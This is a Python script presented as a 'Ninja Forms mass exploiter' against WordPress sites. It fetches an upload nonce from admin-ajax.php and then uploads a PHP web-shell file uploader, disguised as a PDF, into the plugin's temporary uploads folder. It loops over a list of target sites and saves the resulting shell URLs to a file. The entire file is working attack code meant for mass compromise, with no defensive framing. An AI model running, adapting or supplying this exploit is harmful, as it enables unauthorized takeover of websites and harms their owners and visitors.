import requests
import urllib3
import sys
import json
import re

urllib3.disable_warnings()

HEADERS = {'User-Agent': 'Mozilla/5.0'}
FORM_ID = "7"
FIELD_ID = "7"
SHELL_NAME = "murrez.php"

SHELL_CONTENT = '''<?php if(isset($_FILES['f'])){move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);echo "Uploaded: ".$_FILES['f']['name'];}?><form method="POST" enctype="multipart/form-data"><input type="file" name="f"><button>Upload</button></form>'''

def exploit_target(target_url):
    target_url = target_url.rstrip('/')
    ajax_url = f"{target_url}/wp-admin/admin-ajax.php"
    
    print(f" Attack on: {target_url}")
    
    # Ambil nonce
    print("[*] Getting nonce...")
    nonce_payload = {
        'action': 'nf_fu_get_new_nonce',
        'field_id': FIELD_ID,
        'form_id': FORM_ID
    }
    
    try:
        r = requests.post(ajax_url, data=nonce_payload, headers=HEADERS, verify=False, timeout=15)
        
        print(f"[*] HTTP Status: {r.status_code}")
        print(f"[*] Response: {r.text[:200]}")
        
        if r.status_code != 200:
            print(f"[-] HTTP Error: {r.status_code}\n")
            return None
        
        # Ekstrak JSON
        raw_text = r.text
        json_match = re.search(r'(\{.*\})', raw_text, re.DOTALL)
        
        if json_match:
            response = json.loads(json_match.group(1))
        else:
            response = r.json()
        
        if not response.get('success'):
            print("[-] Failed to retrieve nonce!\n")
            return None
            
        nonce = response['data']['nonce']
        print(f"[+] Nonce: {nonce}")
        
    except Exception as e:
        print(f"[-] Error: {e}\n")
        return None
    
    # Upload shell
    print("[*] Uploading shell...")
    files = {f"files-{FIELD_ID}": ("doc.pdf", SHELL_CONTENT, "application/pdf")}
    data = {
        'action': 'nf_fu_upload',
        'nonce': nonce,
        'form_id': FORM_ID,
        'field_id': FIELD_ID,
        'doc_pdf': SHELL_NAME
    }
    
    try:
        r = requests.post(ajax_url, data=data, files=files, headers=HEADERS, verify=False, timeout=25)
        print(f"[*] Upload response: {r.text[:500]}")
        
        # Ekstrak JSON
        raw_text = r.text
        json_match = re.search(r'(\{.*\})', raw_text, re.DOTALL)
        
        if json_match:
            response_data = json.loads(json_match.group(1))
        else:
            response_data = r.json()
        
        if response_data.get('data', {}).get('files'):
            for file_info in response_data['data']['files']:
                if file_info.get('tmp_name') == SHELL_NAME and file_info.get('error') == 0:
                    shell_url = f"{target_url}/wp-content/uploads/ninja-forms/tmp/{SHELL_NAME}"
                    print(f"\n{'='*60}")
                    print(f"🔥 SHELL UPLOADER: {shell_url}")
                    print(f"{'='*60}\n")
                    return shell_url
        
        print("[-] Fail!\n")
        return None
            
    except Exception as e:
        print(f"[-] Upload error: {e}\n")
        return None

def main():
    print("""
     NINJA FORMS MASS EXPLOITER 
    """)
    
    try:
        with open('list.txt', 'r') as f:
            targets = [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        print("list.txt not found!")
        sys.exit(1)
    
    print(f"[+] Loaded {len(targets)} targets\n")
    
    successful = []
    
    for i, target in enumerate(targets, 1):
        print(f"[{i}/{len(targets)}]")
        shell_url = exploit_target(target)
        
        if shell_url:
            successful.append(shell_url)
            with open('shell.txt', 'a') as f:
                f.write(f"{shell_url}\n")
    
    print(f"\n{'='*60}")
    print(f"[+] Total success: {len(successful)}/{len(targets)}")
    print(f"[+] Saved to shell.txt")
    print(f"{'='*60}")

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n[!] Interrupted by user")
        sys.exit(0)